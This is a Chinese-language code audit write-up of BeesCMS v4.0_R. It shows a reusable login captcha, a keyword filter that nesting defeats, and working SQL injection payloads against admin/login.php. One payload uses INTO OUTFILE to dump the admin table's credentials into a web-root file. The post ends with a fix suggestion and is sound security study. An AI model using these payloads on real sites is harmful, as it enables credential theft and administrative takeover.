文档章节

【代码审计初探】beescms v4.0_R SQL

i春秋学院
 i春秋学院
发布于 2017/02/20 11:03
字数 1127
阅读 41
收藏 0

本文原创作者: 0h1in9e,本文属i春秋原创奖励计划,未经许可禁止转载!

 

0x01 前言

前段时间去尝试审计一款cms系统,恰巧在补天上看到有Beescms相关漏洞,于是去官网下载了个学着审计了下。后来找出了Bypass 全局防护的SQL Injection .当时心情 激动地去补天提交。结果悲催的是在我提交的前几天有人提交了。下面进入正题,大神请绕道!


0x02 目标介绍

Beescms企业网站管理系统v4.0。最近更新版本是V4.0_R_20160525。进入官网后直接下载了最新版本。

在本地搭建使用XAMPP搭建好环境之后,开始了对目标系统的审计。

所用的到工具有XAMPP、Burpsuit、Seay源代码审计系统和Chrome浏览器。

漏洞标题: BeesCMS最新版_V4.0_R_20160525 SQL注射(突破全局防护)

 

 

0x03 后台登录处验证码设计缺陷漏洞

首先是后台登录页面 /admin/login.php验证码形同虚设,一次验证后在不刷新的情况下可以多次提交请求。这就为这里的注入提供了前提条件。比如下面使用burpsuit intruder进行SQL Fuzzing:

 

 

0x04 分析登录处的SQL注入

在admin/login.php中,登录处的核心代码是:

//判断登录

elseif($action=='ck_login'){

        global $submit,$user,$password,$_sys,$code;

        $submit=$_POST['submit'];

        $user=fl_html(fl_value($_POST['user']));

        $password=fl_html(fl_value($_POST['password']));

        $code=$_POST['code'];

        if(!isset($submit)){

                msg('请从登陆页面进入');

        }

        if(empty($user)||empty($password)){

                msg("密码或用户名不能为空");

        }

        if(!empty($_sys['safe_open'])){

                foreach($_sys['safe_open'] as $k=>$v){

                if($v=='3'){

                        if($code!=$s_code){msg("验证码不正确!");}

                }

                }

                }

        check_login($user,$password);

         

}

 

看到此处对输入的用户名和密码进行的操作:

$user=fl_html(fl_value($_POST['user']));

$password=fl_html(fl_value($_POST['password']));

 

定位到函数fl_value 和 函数 fl_html : (都位于/includes/fun.php下面)

function fl_value($str){

        if(empty($str)){return;}

        return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file

|outfile/i','',$str);

}

function fl_html($str){

        return htmlspecialchars($str);

}

 

可以看到fl_html函数过滤了一些可能引起XSS的字符,而 函数 fl_value则是对输入的关键字进行了过滤,可以看到,几乎常用的SQL关键字都被过滤掉了,这个时候看看preg_replace()函数中的正则表达式,经过几次尝试,得到了Bypass的方法:
具体规则如下:

union => uni union on

select => selselectect

outfile => outoutfilefile

into => into

……

 

同时,登录SQL执行代码在fun.php中,如下:

function check_login($user,$password){

        $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1"); 

        $rel=empty($rel)?'':$rel[0];

        if(empty($rel)){

                msg('不存在该管理用户','login.php');

        }

        $password=md5($password);

        if($password!=$rel['admin_password']){

                msg("输入的密码不正确");

        }

        if($rel['is_disable']){

                msg('该账号已经被锁定,无法登陆');

        }

         

        $_SESSION['admin']=$rel['admin_name'];

        $_SESSION['admin_purview']=$rel['admin_purview'];

        $_SESSION['admin_id']=$rel['id'];

        $_SESSION['admin_time']=time();

        $_SESSION['login_in']=1;

        $_SESSION['login_time']=time();

        $ip=fl_value(get_ip());

        $ip=fl_html($ip);

        $_SESSION['admin_ip']=$ip;

        unset($rel);

        header("location:admin.php");

}

 

可以知道字段数为5,下面通过构造语句:

admin' uni union on selselectect 1,2,3,4,5--%20

 

可以看到返回了正常页面:(check_login可知SQL是先执行username查询之后再验证密码的,所以如下输入结果正常)

知道了这个注入规则之后,就有各种各样的注入方法了,下面我使用了一种可以直接拿到管理员账号密码的:

如:(本地环境测试的)

注入如下语句:

user=admin' uni union on selselectect 1,2,3,4,5 ''  in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

 

目的是在网站根目录下新建a.php文件,可以记录表 bees_admin里面的信息在a.php里面(由于函数hl_html的过滤导致不能直接上传 php木马)。效果图如下:

 

此时,网站根目录下面已经产生了a.php这个文件了,如下所示:

 

a.php里面前面的部分为bees_admin表里面的admin所对应的内容,后面的1~5则是为了补全select语法在payload里面写的内容。这样的话,就可以拿管理员登录后台了。

 

当然,注入手法很多,知道了这个规则,各种注入就可以上场了。

 

0x05 修复建议及总结

fl_value函数的正则验证需要加强~虽然fl_value函数挡住了寻常注入语句,但是由于过滤不严导致Bypass掉全局的sql注入防护。代码审计过程中对于一些过滤函数类应该特别留意,尝试去绕过,往往会有意想不到的惊喜。

© 著作权归作者所有

i春秋学院
粉丝 18
博文 105
码字总数 159006
作品 0
海淀
私信 提问
PHP代码审计专题

一、前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞。如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程。 入门php代码审...

i春秋学院
2017/03/25
671
0
【粉丝福利】PHP代码审计-程序员突破职业瓶颈新选择,Get✔

一、前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞。如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程。 入门php代码审...

i春秋学院
2017/03/27
529
1
P6Spy配置使用

P6Spy是一个可以用来在应用程序中拦截和修改数据操作语句的开源框架。 通过P6Spy我们可以对SQL语句进行拦截,相当于一个SQL语句的记录器,这样我们可以用它来作相关的分析,比如性能分析。 ...

liuzhenlife
2017/04/23
0
0
数据操作组件--CYQ.Data

CYQ.Data 是一款由路过秋天创作的支持多数据库应用的底层数据库操作类库,使用本类库可以轻松快速开发项目,开发起来相当给力。 支持数据库:Access/MSSQL(2000/2005/2008)/Oracle/SQLite/My...

匿名
2011/02/24
6.5K
1
scom 2012 部署

安装IIS组件 安装 .Net 3.5 sp1 安装 .Net 4.0 安装ReportViewer 配置IIS允许.NET v4.0 安装后台数据库服务器sqldb(sql2008r2sp1) 开始安装SCOM 选择安装的功能 其中报告服务器需要有本地sql...

kindlica
2012/09/12
0
0

没有更多内容

加载失败,请刷新页面

加载更多

kubernetes pod exec接口调用

正文 一般生产环境上由于网络安全策略,大多数端口是不能为集群外部访问的。多个集群之间一般都是通过k8s的ApiServer组件提供的接口通信,如https://192.168.1.101:6443。所以在做云平台时,...

码农实战
41分钟前
6
0
3_数组

3_数组

行者终成事
今天
8
0
经典系统设计面试题解析:如何设计TinyURL(二)

原文链接:https://www.educative.io/courses/grokking-the-system-design-interview/m2ygV4E81AR 编者注:本文以一道经典的系统设计面试题:《如何设计TinyURL》的参考答案和解析为例,帮助...

APEMESH
今天
7
0
使用logstash同步MySQL数据到ES

概述   在生成业务常有将MySQL数据同步到ES的需求,如果需要很高的定制化,往往需要开发同步程序用于处理数据。但没有特殊业务需求,官方提供的logstash就很有优势了。   在使用logstas...

zxiaofan666
今天
10
0
X-MSG-IM-分布式信令跟踪能力

经过一周多的鏖战, X-MSG-IM的分布式信令跟踪能力已基本具备, 特点是: 实时. 只有要RX/TX就会实时产生信令跟踪事件, 先入kafka, 再入influxdb待查. 同时提供实时sub/pub接口. 完备. 可以完整...

dev5
今天
7
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部